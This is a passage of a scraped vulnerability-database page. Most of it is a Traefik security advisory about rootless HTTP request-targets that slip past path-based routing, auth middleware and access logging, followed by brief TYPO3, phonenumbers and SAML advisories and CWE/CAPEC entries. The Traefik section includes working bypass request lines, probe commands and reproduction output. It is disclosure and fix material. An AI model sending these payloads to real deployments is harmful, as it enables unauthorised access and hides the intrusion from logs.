Host=\"internal-vhost\" Path=\"/admin/../secret\" RawPath=\"/admin%2f..%2fsecret\")\n=== RUN TestScanPocJ04Opaque/rootless_opaque_form_simple\n status=\"200 OK\" reachedBackend=true\n routed(URL.Path=\"/\" RawPath=\"\" Opaque=\"http://internal-vhost/admin\" RequestURI=\"http://internal-vhost/admin\" Host=\"app.example.com\")\n backend(RequestURI=\"http://internal-vhost/admin\" Host=\"internal-vhost\" Path=\"/admin\" RawPath=\"\")\n=== RUN TestScanPocJ04Opaque/absolute_form\n status=\"404 Not Found\" reachedBackend=false\n--- PASS: TestScanPocJ04Opaque (2.01s)\n```\n\n**Conclusion:** REPRODUCED. Traefik routes on `Path=\"/\"` and `Host=\"app.example.com\"`; the backend receives `Host=\"internal-vhost\"` and `Path=\"/admin\"`. The `%2f` bytes survive to the backend\u0027s `RawPath` untouched. The `absolute_form` control (`GET http://internal-vhost/admin`) correctly **404s**, because there `URL.Host` is populated so `req.Host` becomes `internal-vhost` and the router does not match: it is specifically the **rootless** form, where the authority is invisible to Go\u0027s `Request.Host` derivation but visible to the wire writer, that desyncs.\n\n### B. End-to-end on the GA image (`traefik:v3.7` = v3.7.9, go1.26.5) with a real nginx backend\n\nTopology: nginx with a `default_server` returning `PUBLIC-VHOST` and a `server_name internal-vhost` block returning `INTERNAL-VHOST-SECRET`; Traefik with a single `Host(app.example.com)` router, entry-point defaults, `--accesslog=true`. Requests sent over a raw socket with `Host: app.example.com`.\n\n**B1. Cross-vhost + log evasion (stock defaults):**\n```\n=== request-target sent: \u0027/\u0027\nPUBLIC-VHOST uri=/ host=app.example.com\n\n=== request-target sent: \u0027http:http://internal-vhost/admin\u0027\nINTERNAL-VHOST-SECRET uri=/admin host=internal-vhost\n\n=== request-target sent: \u0027http:http://internal-vhost/admin%2f..%2fsecret\u0027\nINTERNAL-VHOST-SECRET uri=/admin%2f..%2fsecret host=internal-vhost\n```\nTraefik access log for those same three requests:\n```\n\"GET / HTTP/1.1\" 200 40 ... \"app@file\" \"http://poc-nginx:80\" 3ms\n\"GET / HTTP/1.1\" 200 53 ... \"app@file\" \"http://poc-nginx:80\" 0ms\n\"GET / HTTP/1.1\" 200 67 ... \"app@file\" \"http://poc-nginx:80\" 0ms\n```\n\n**B2. Differential against the documented hardening** (`--entrypoints.web.http.encodedCharacters.allowEncodedSlash=false`, `sanitizePath=true`):\n```\n=== request-target sent: \u0027/admin%2f..%2fsecret\u0027\nHTTP/1.1 400 Bad Request \u003c- canonical path: protection fires\n\n=== request-target sent: \u0027http:http://internal-vhost/admin%2f..%2fsecret\u0027\nHTTP/1.1 200 OK\nINTERNAL-VHOST-SECRET uri=/admin%2f..%2fsecret host=internal-vhost \u003c- same payload, protection never fires\n```\n\n**B3. ForwardAuth authorization bypass** (middleware `forwardAuth` to an nginx auth service that returns 403 when `X-Forwarded-Uri` matches `^/admin`):\n```\n=== request-target sent: \u0027/admin\u0027 -\u003e 403 DENY\n=== request-target sent: \u0027http:/admin\u0027 -\u003e 403 DENY\n=== request-target sent: \u0027http:http://internal-vhost/admin\u0027-\u003e 200 INTERNAL-VHOST-SECRET uri=/admin host=internal-vhost\n```\nAuth-service log confirms the decision flip: `403`, `403`, `200`.\n\n**Conclusion:** REPRODUCED on a GA release artifact. The primitive is unauthenticated, needs no non-default configuration, and yields cross-vhost selection, path-scoped authorization bypass, and complete access-log evasion simultaneously.\n\n### Documentation grounding\n\nGoverning page: `docs/content/security/request-path.md` (published as https://doc.traefik.io/traefik/security/request-path/). **Not WAI.**\n\n_(truncated ; full analysis in the linked internal report)_\n\n## Reproduction (J18, F20)\n\nThree Go probes were written into `pkg/server/` of the checkout (named `zz_scanpoc_J18*_test.go`) and **deleted afterwards**; `git status` confirms no `zz_scanpoc_J18` file remains and the checkout is still on `v3.7` @ `d5072ce7b8765c9574246072e05dd81d84950da7`. Docker containers were removed at the end of the run.\n\n**Probe 1 \u2014 routing desync and verbatim forward.** Real entry point chain (`denyFragment` -\u003e `normalizePath` -\u003e `sanitizePath` -\u003e `requestdecorator` -\u003e `httpmuxer.Muxer`), two routers on the same service, real `pkg/proxy/httputil` proxy, raw TCP backend recording the request line, driven over a raw socket.\n\n```\ncd /Users/emile/go/src/github.com/traefik/traefik\ngo test -run TestJ18RootlessRequestTarget ./pkg/server/ -v\n```\n\n```\n=== RUN TestJ18RootlessRequestTarget/GET_http:admin/secret_HTTP/1.1\n --\u003e raw request line: \"GET http:admin/secret HTTP/1.1\"\n in-Traefik state: URL.Opaque=\"admin/secret\" URL.Path=\"/\" URL.RawPath=\"\" RequestURI=\"admin/secret\" EscapedPath=\"/\"\n \u003c-- routers matched: [router-app(NO AUTH)]\n \u003c-- response: \"HTTP/1.1 200 OK\\r\"\n \u003c-- backend request lines seen so far: [\"GET admin/secret HTTP/1.1\\r\\n\"]\n=== RUN TestJ18RootlessRequestTarget/GET_http:admin%2Fsecret_HTTP/1.1\n in-Traefik state: URL.Opaque=\"admin%2Fsecret\" URL.Path=\"/\" URL.RawPath=\"\" RequestURI=\"admin%2Fsecret\" EscapedPath=\"/\"\n \u003c-- routers matched: [router-app(NO AUTH)]\n \u003c-- backend request lines seen so far: [... \"GET admin%2Fsecret HTTP/1.1\\r\\n\"]\n=== RUN TestJ18RootlessRequestTarget/GET_/admin/secret_HTTP/1.1 (control)\n \u003c-- routers matched: [router-admin(AUTH)]\n \u003c-- response: \"HTTP/1.1 401 Unauthorized\\r\"\nPASS\n```\n\nThe control shows the deployment is correctly guarded for a well-formed request; the rootless form reaches the unguarded router and the backend receives the attacker\u0027s bytes, including the `%2F` that an `encodedCharacters` filter would have rejected.\n\n**Probe 2 \u2014 origin tolerance.** Which origins actually resolve a rootless request-target.\n\n```\ngo test -run TestJ18BackendTolerance ./pkg/server/ -v # Go net/http + fasthttp v1.69.0\ndocker run -d --rm -p 18118:80 nginx:alpine ; docker run -d --rm -p 18119:80 httpd:alpine\ndocker run -d --rm -p 18120:3000 node:alpine node -e \"require(\u0027http\u0027).createServer(...)\"\ndocker run -d --rm -p 18121:8000 python:alpine python -m http.server 8000\ndocker run -d --rm -p 18122:8080 tomcat:9.0.120\nprintf \u0027GET admin/secret HTTP/1.1\\r\\nHost: app.example.com\\r\\nConnection: close\\r\\n\\r\\n\u0027 | nc -w 3 127.0.0.1 \u003cport\u003e\n```\n\n| Origin | `GET admin/secret HTTP/1.1` | `GET /admin/secret HTTP/1.1` (control) |\n|---|---|---|\n| Go `net/http` | `HTTP/1.1 400 Bad Request` | 200, `Path=\"/admin/secret\"` |\n| nginx:alpine | `HTTP/1.1 400 Bad Request` | 404 (resolved) |\n| httpd:alpine | `HTTP/1.1 400 Bad Request` | 404 (resolved) |\n| Node.js (llhttp) | `HTTP/1.1 400 Bad Request` | `HTTP/1.1 200 OK` |\n| Tomcat 9.0.120 | `HTTP/1.1 400` | 404 (resolved) |\n| Python `http.server` | accepted (404, no 400) | 404 |\n| **fasthttp v1.69.0** | **`200 OK`, `Path=\"/admin/secret\"`** | 200, `Path=\"/admin/secret\"` |\n\nfasthttp also decodes the encoded form: `GET admin%2Fsecret HTTP/1.1` yields `Path=\"/admin/secret\"`, `RequestURI=\"admin%2Fsecret\"`.\n\n**Probe 3 \u2014 end-to-end authentication bypass.** Same chain as probe 1, with a real `basicAuth`-style gate on the `/admin` router and a `fasthttp` origin serving `ADMIN_PANEL_SECRET` at `/admin/secret`.\n\n```\ngo test -run TestJ18EndToEndFasthttpOrigin ./pkg/server/ -v\n```\n\n```\n\"GET /admin/secret HTTP/1.1\" =\u003e 401 basicAuth required\n\"GET http:admin/secret HTTP/1.1\" =\u003e Server: fasthttp ... ADMIN_PANEL_SECRET\n\"GET http:admin%2Fsecret HTTP/1.1\" =\u003e Server: fasthttp ... ADMIN_PANEL_SECRET\n```\n\nThe bypass is real: the credentialed path returns 401, the malformed path returns the protected content with no credentials.\n\n## Second affected site (J18)\n\nThe finding is **mechanically correct and fully reproduced end to end**, including the auth bypass.\n\nA client-controlled HTTP/1.x request-target of the form `scheme:rootless/path` (for example `GET http:admin/secret HTTP/1.1`) is parsed by Go\u0027s `url.ParseRequestURI` into `URL.Opaque = \"admin/secret\"` with an empty `URL.Path` / `URL.RawPath`. Traefik\u0027s entry point chain and muxer never look at `URL.Opaque`:\n\n- `denyFragment` inspects `URL.RawPath` (empty) and passes.\n- `normalizePath` returns early on empty `RawPath`.\n- `sanitizePath` calls `URL.JoinPath()`, which rewrites `Path` to `\"/\"` and **leaves `Opaque` untouched**, then sets `RequestURI = URL.RequestURI()` = `\"admin/secret\"`.\n- `withRoutingPath` (`pkg/muxer/http/mux.go:139`) derives the routing path from `req.URL.EscapedPath()`, which ignores `Opaque`, so every `Path` / `PathPrefix` / `PathRegexp` matcher evaluates against `\"/\"`.\n- Both proxies copy the URL wholesale and never clear `Opaque`, so the outgoing request line is the attacker\u0027s target verbatim.\n\nResult: Traefik makes its routing and middleware decision on one string (`\"/\"`) and writes a different string to the backend (`admin/secret`). Where a host-only or `PathPrefix(\"/\")` router reaches the same service as a path-guarded router, the guarded router is skipped, and a lenient origin resolves the rootless target as an absolute path.\n\nWhere the scanner overstates: it presents the exploit scenario as if the lenient-origin precondition were incidental. It is the whole exposure. Of the seven origin implementations tested, **five reject the rootless target with 400** (Go `net/http`, nginx, Apache httpd, Node.js/llhttp, Tomcat 9). Only `fasthttp` (and the Fiber family built on it) and Python\u0027s `http.server` accept it. Notably Tomcat, the backend family that carried the closest prior report (`GHSA-vrvv-46fp-28pp`), answers 400 here.\n\n## Documentation grounding\n\nGoverning page: `docs/content/security/request-path.md` (published as https://doc.traefik.io/traefik/security/request-path/). **Not WAI.**\n\nThe page documents the entry-point path pipeline as three stages (encoded-character filtering, path normalization, path sanitization) and presents `sanitizePath: true` as a **default-on hardening the team ships**, with `encodedCharacters.allowEncodedSlash: false` as the opt-in tightening for backends that decode reserved characters. Nothing on this page, nor on `header-underscores.md`, `content-length.md`, `http2-header-memory.md` or `multi-tenant-kubernetes.md`, documents the request-target form, absolute-form / rootless targets, `URL.Opaque`, or an authority carried in the target. Grep for `absolute`, `request-target`, `request line`, `Opaque`, `authority` across `docs/content/security/` returns nothing.\n\nThis lands squarely in Step 2e\u0027s **second** bucket, not the first: a behaviour documented as a default-on protection, with a sibling code path that structurally escapes it. Evidence B2 is the discriminator, and it is exactly the GHSA-cxjq shape (undocumented gap defeating a shipped guard) rather than the GHSA-x9c2 shape (documented behaviour with an opt-in the operator declined to enable). Here the operator *did* enable the opt-in and it still failed.\n\n## Precedent in comparable projects\n\nSearched `data/competitors/*.json` on `absolute.form|absolute-form|absolute URI|request.target|request line|authority.form`, then on `smuggl|desync|normaliz`.\n\n| Product | ID | Severity | Framing | Fix shape |\n|---|---|---|---|---|\n| Caddy | CVE-2026-27587 | HIGH | `MatchPath`\u0027s `%xx` (escaped-path) branch skips case normalization, so the matcher\u0027s view of the path diverges from the served one, enabling path-based route/auth bypass. | Normalize in the divergent branch so matcher and handler agree on one interpretation. |\n| Caddy | CVE-2026-27588 | HIGH | `MatchHost` becomes case-sensitive above 100 hosts, so host matching diverges from the request\u0027s real host, enabling host-based route/auth bypass. | Same fix shape: make the fast path agree with the canonical path. |\n| Envoy | CVE-2021-32779 | high | `#fragment` treated as part of the path element causes the authorization filter and the router to disagree, bypassing authz policy. | Reject or strip the divergent element before routing. |\n| Envoy | CVE-2021-29492 | high | Escaped-slash characters let requests bypass path matching rules. | Configurable normalization of `%2F` before matching. |\n| Envoy | CVE-2019-9901 | CRITICAL | Missing HTTP URL path normalization lets the proxy\u0027s routing view diverge from the backend\u0027s. | Add normalization. |\n| Envoy | CVE-2023-27491 | medium | Envoy **forwards invalid HTTP/2 and HTTP/3 downstream headers** to the upstream instead of rejecting them. | Reject malformed downstream input at the edge. |\n| Istio | CVE-2021-39156 | high | Fragments in the path lead to authorization policy bypass. | Normalize before policy evaluation. |\n| HAProxy | CVE-2023-25725 | CRITICAL | HTTP/1 headers inadvertently lost in some conditions, allowing a bypass of access control. | Restore consistent parsing. |\n\n_(truncated ; full analysis in the linked internal report)_\n\n## Recommended fix\n\n**Assign for fix, and treat as CVE-worthy.**\n\n1. Clear the opaque form when rebuilding the outbound URL, in both proxies. In `pkg/proxy/httputil/proxy.go`, next to the Path/RawPath assignments:\n ```go\n pr.Out.URL.Opaque = \"\"\n ```\n and in `pkg/proxy/fast/proxy.go`, on the `u2 := *req.URL` copy before `outReq.SetRequestURI(u2.RequestURI())`. This alone closes the forwarding half.\n2. Reject non-origin-form request-targets at the entry point, which is the stronger fix and the one matching the competitor remediation shape (Envoy CVE-2023-27491: reject malformed downstream framing at the edge rather than relaying it). For non-`CONNECT` requests, require `req.URL.Opaque == \"\"` and an `EscapedPath()` beginning with `/`, or normalize the true `absolute-form` case by promoting the authority into `req.Host`. This makes the router, the path sanitizers, the middlewares, the access log and the backend agree on a single interpretation of the target, which step 1 alone does not achieve: without it, `sanitizePath` still rewrites `RequestURI` to the attacker\u0027s authority-bearing form and the access log still records `/`.\n3. Add a regression test asserting that a rootless request-target either is rejected at the entry point or reaches the backend as an origin-form target derived from the routed path. The probe used above is a direct starting point.\n4. Consider reporting the `ReverseProxy` omission upstream to Go as well, since `NewSingleHostReverseProxy` has the same gap, but do not make the Traefik fix wait on it.\n5. If filed as an advisory, use cluster slug `opaque-request-target-forwarding` and note that the fix must land on the fast proxy in the same PR.\n\n## Provenance\n\nFound by an external automated code scan (`CLAUDE-SECURITY-20260824-122205`) of `pkg/middlewares`, `pkg/proxy`, `pkg/server`, `pkg/muxer` and `pkg/tls` on branch `v3.7` at commit `d5072ce7b8765c9574246072e05dd81d84950da7`, then triaged with the `advisory-check` process : mechanism-level duplicate check against the existing advisory corpus, CVE-policy gate, security-documentation grounding, comparable-project precedent, and a mandatory reproduction attempt.\n\nTriage outcome : **Likely Valid**, confidence High, reproduced (yes). Expected publication likelihood at triage time : High.\n\nScanner finding ids : F4, F20. Internal report : `findings/scan-20260824/verdicts/J04.md, J18.md` in the security-advisor repository.\n\n\u003c/details\u003e\n---",
"id": "GHSA-f52w-8j3h-j724",
"modified": "2026-09-10T23:03:53Z",
"published": "2026-09-10T23:03:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-f52w-8j3h-j724"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-88009"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/pull/13796"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/commit/58d1e9ca204526823211e30fd4634101c59d58e9"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v2.11.57"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.7.13"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Traefik: Rootless HTTP/1 request-target routes as \"/\" but is forwarded verbatim, bypassing path-scoped routing, middleware guards and access logging"
}
GHSA-FFCV-V6PW-QHRP
Vulnerability from github – Published: 2024-10-08 22:18 – Updated: 2024-10-31 19:31Problem
Due to insufficient input validation, manipulated data saved in the bookmark toolbar of the backend user interface causes a general error state, blocking further access to the interface. Exploiting this vulnerability requires an administrator-level backend user account.
Solution
Update to TYPO3 versions 10.4.46 ELTS, 11.5.40 LTS, 12.4.21 LTS, 13.3.1 that fix the problem described.
Credits
Thanks to Hendrik Eichner who reported this issue and to TYPO3 core & security team members Oliver Hader and Benjamin Franzke who fixed the issue.
References
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms-backend"
},
"ranges": [
{
"events": [
{
"introduced": "13.0.0"
},
{
"fixed": "13.3.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"13.0.0"
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c 12.4.20"
},
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms-backend"
},
"ranges": [
{
"events": [
{
"introduced": "12.0.0"
},
{
"fixed": "12.4.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 11.5.39"
},
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms-backend"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0"
},
{
"fixed": "11.5.40"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 10.4.45"
},
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms-backend"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.4.46"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-34537"
],
"database_specific": {
"cwe_ids": [
"CWE-1286",
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-08T22:18:27Z",
"nvd_published_at": "2024-10-28T14:15:04Z",
"severity": "LOW"
},
"details": "### Problem\nDue to insufficient input validation, manipulated data saved in the bookmark toolbar of the backend user interface causes a general error state, blocking further access to the interface. Exploiting this vulnerability requires an administrator-level backend user account.\n\n### Solution\nUpdate to TYPO3 versions 10.4.46 ELTS, 11.5.40 LTS, 12.4.21 LTS, 13.3.1 that fix the problem described.\n\n### Credits\nThanks to Hendrik Eichner who reported this issue and to TYPO3 core \u0026 security team members Oliver Hader and Benjamin Franzke who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2024-011](https://typo3.org/security/advisory/typo3-core-sa-2024-001)\n",
"id": "GHSA-ffcv-v6pw-qhrp",
"modified": "2024-10-31T19:31:10Z",
"published": "2024-10-08T22:18:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/TYPO3/typo3/security/advisories/GHSA-ffcv-v6pw-qhrp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34537"
},
{
"type": "PACKAGE",
"url": "https://github.com/TYPO3-CMS/backend"
},
{
"type": "WEB",
"url": "https://typo3.org/security/advisory/typo3-core-sa-2024-011"
},
{
"type": "WEB",
"url": "https://www.mgm-sp.com/cve/denial-of-service-in-typo3-bookmark-toolbar"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L/E:F/RL:O/RC:C",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Denial of Service in TYPO3 Bookmark Toolbar"
}
GHSA-FMJH-F678-CV3X
Vulnerability from github – Published: 2025-09-27 06:30 – Updated: 2025-09-29 16:29Versions of the package github.com/nyaruka/phonenumbers before 1.2.2 are vulnerable to Improper Validation of Syntactic Correctness of Input in the phonenumbers.Parse() function. An attacker can cause a panic by providing crafted input causing a "runtime error: slice bounds out of range".
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/nyaruka/phonenumbers"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-10954"
],
"database_specific": {
"cwe_ids": [
"CWE-1286"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-29T16:29:27Z",
"nvd_published_at": "2025-09-27T05:15:29Z",
"severity": "MODERATE"
},
"details": "Versions of the package github.com/nyaruka/phonenumbers before 1.2.2 are vulnerable to Improper Validation of Syntactic Correctness of Input in the phonenumbers.Parse() function. An attacker can cause a panic by providing crafted input causing a \"runtime error: slice bounds out of range\".",
"id": "GHSA-fmjh-f678-cv3x",
"modified": "2025-09-29T16:29:27Z",
"published": "2025-09-27T06:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10954"
},
{
"type": "WEB",
"url": "https://github.com/nyaruka/phonenumbers/issues/148"
},
{
"type": "WEB",
"url": "https://github.com/nyaruka/phonenumbers/commit/0479e35488e8a002a261cdb515ef8a7f80ca37fe"
},
{
"type": "PACKAGE",
"url": "https://github.com/nyaruka/phonenumbers"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMNYARUKAPHONENUMBERS-6084070"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "github.com/nyaruka/phonenumbers Vulnerable to Improper Validation of Syntactic Correctness of Input"
}
GHSA-FP89-4294-45Q3
Vulnerability from github – Published: 2023-08-09 12:30 – Updated: 2024-09-20 12:31An authenticated administrator can upload a SAML configuration file with the wrong format, with the application not checking the correct file format. Every subsequent application request will return an error.
The whole application in rendered unusable until a console intervention.
{
"affected": [],
"aliases": [
"CVE-2023-23903"
],
"database_specific": {
"cwe_ids": [
"CWE-1286",
"CWE-20"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-09T10:15:09Z",
"severity": "MODERATE"
},
"details": "An authenticated administrator can upload a SAML configuration file with the wrong format, with the application not checking the correct file format. Every subsequent application request will return an error.\n\nThe whole application in rendered unusable until a console intervention.\n\n",
"id": "GHSA-fp89-4294-45q3",
"modified": "2024-09-20T12:31:45Z",
"published": "2023-08-09T12:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23903"
},
{
"type": "WEB",
"url": "https://security.nozominetworks.com/NN-2023:7-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
CAPEC-66: SQL Injection
This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input.
CAPEC-676: NoSQL Injection
An adversary targets software that constructs NoSQL statements based on user input or with parameters vulnerable to operator replacement in order to achieve a variety of technical impacts such as escalating privileges, bypassing authentication, and/or executing code.